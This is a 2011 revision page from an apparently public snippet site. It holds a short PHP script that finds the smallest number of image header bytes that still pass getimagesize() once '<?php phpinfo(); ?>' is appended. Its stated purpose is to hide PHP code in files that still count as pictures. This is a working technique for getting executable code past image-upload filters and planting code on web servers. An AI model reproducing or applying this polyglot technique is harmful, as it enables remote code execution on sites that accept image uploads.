Revision: 51490
Initial Code
Initial URL
Initial Description
Initial Title
Initial Tags
Initial Language
at September 26, 2011 21:31 by FeN_X
Initial Code
<?php $imagefile = 'test.png'; $output = 'test.php'; $x = 8; //Nb of bytes we will read $handle = fopen($imagefile, 'rb'); $contents = ''; $i=0; while (!feof($handle)) { $contents .= fread($handle, $x); $i++; file_put_contents($output, $contents . '<?php phpinfo(); ?>'); $tabInfo = getimagesize($output); if (in_array($tabInfo[2], array(1,2,3,6), true)) //$tabInfo['mime'] (give mimetype) { fclose($handle); die('Type detected : <b>'. image_type_to_mime_type($tabInfo[2]) .'</b>, nb Bytes : ' . $i * $x); } } ?>
Initial URL
Initial Description
Get the smallest header possible from a pic, so we can add PHP code after it, and the file is still considerated as a picture
Initial Title
Get valid image header
Initial Tags
Initial Language
PHP